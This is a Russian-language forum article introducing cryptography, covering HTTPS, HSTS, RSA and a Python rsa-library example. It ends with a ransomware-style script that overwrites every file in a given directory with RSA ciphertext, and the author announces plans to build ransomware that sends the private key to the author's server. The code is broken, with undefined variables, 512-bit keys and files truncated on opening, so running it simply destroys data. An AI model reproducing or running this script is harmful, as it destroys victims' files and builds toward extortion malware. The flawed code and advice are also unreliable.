Приветствую, это статья является введением и отправной точкой к другим различным сериям статей о криптографии, поэтому она будет необычно короткой. Я специально не буду нагружать вас математическими формулами.
Для защиты ваших данных в интернете используется шифрование, когда вы заходите на сайт вы можете увидеть значок замка:
Если же шифрование не используется, то ваши данные смогут попасть не в те руки. Наиболее распространенный способ это MITM атака. Несмотря на то, что
Ссылка скрыта от гостей
можно атаковать различными способами и в итоге прослушивать трафик, все же рекомендуется использовать данный протокол. HSTS - это механизм, активирующий защищённое соединение. Например если ваш HSTS настроен не правильно, то, если вы вобьете вместо
Ссылка скрыта от гостей
,
Ссылка скрыта от гостей
, то сайт откроется через HTTP протокол. Для активации HSTS нужно прописать:
Код:
Strict-Transport-Security: max-age=31536000;
Современная асимметричная криптосистема может(но это еще не факт) считаться стойкой, если злоумышленник, имея два открытых текста M1 и M2, а также один шифротекст Cb не может с вероятностью большей, чем 0.5 определить какому из двух открытых текстов соответствует шифротекст Cb.
RSA - это криптографический алгоритм, который используют многие протоколы: SSH, OpenPGP, S, MIME и SSL, также алгоритм используется для цифровой подписи различных документов, название алгоритма происходит от первых букв фамилий его создателей(Rivest, Shamir, Adleman). Криптография с открытым ключом, называется асимметричной криптографией. Надежность алгоритма обеспечивается в факторизации чисел (разложение их на составные множители). Ключ - это набор символов определенной длины. Вы генерируете 2 ключа открытый и закрытый. Открытым вы шифруете сообщение и можете хранить его в открытом доступе, закрытый ключ используется для расшифровки сообщение, хранить вы его должны за 7 замками. Пример из моей предыдущей статьи:
Давайте рассмотрим пример на python. Для начала установим библиотеку:Представим, что двум субъектам нужно послать зашифрованное письмо, допустим их будут звать Андрей и Дима. Дима дал открытый ключ Андрею, Андрей шифрует письмо с помощью этого ключа и отправляет. Только Дима может прочитать письмо, т.к. только у него есть закрытый ключ.
Код:
python -m pip install rsa
Код:
import rsa
mess = 'Hello, Codeby!'
(pubkey, privkey) = rsa.newkeys(512) # Генерируем 2 ключа
cipher = rsa.encrypt(mess, pubkey) # Шифруем
print(cipher)
mess = rsa.decrypt(crypto, privkey) # Расшифровываем
print(mess)
Вот код шифровальщика, который в качестве аргумента принимает директорию, в которой нужно зашифровать все файлы:
Код:
import glob, os, rsa, sys
(pubkey, privkey) = rsa.newkeys(512)
try:
dir = sys.argv[1]
except:
print("""
You did not specify a directory
usage: python cipher.py /test""")
exit()
os.chdir(dir)
for file in glob.glob("*"):
print(file)
f = open(file, "w")
cipher = rsa.encrypt(data, pubkey)
f.write(cipher)
f.close()
В дальнейшем написании статей я поэтапно планирую написать шифровальщика который будет шифровать разными методами, отправлять приватный ключ нам на сервер, а также описать в данном разделе способы атаки на https и на примерах в языке python рассказать о других методах шифрования.
Ссылки:
Ссылка скрыта от гостей
Последнее редактирование: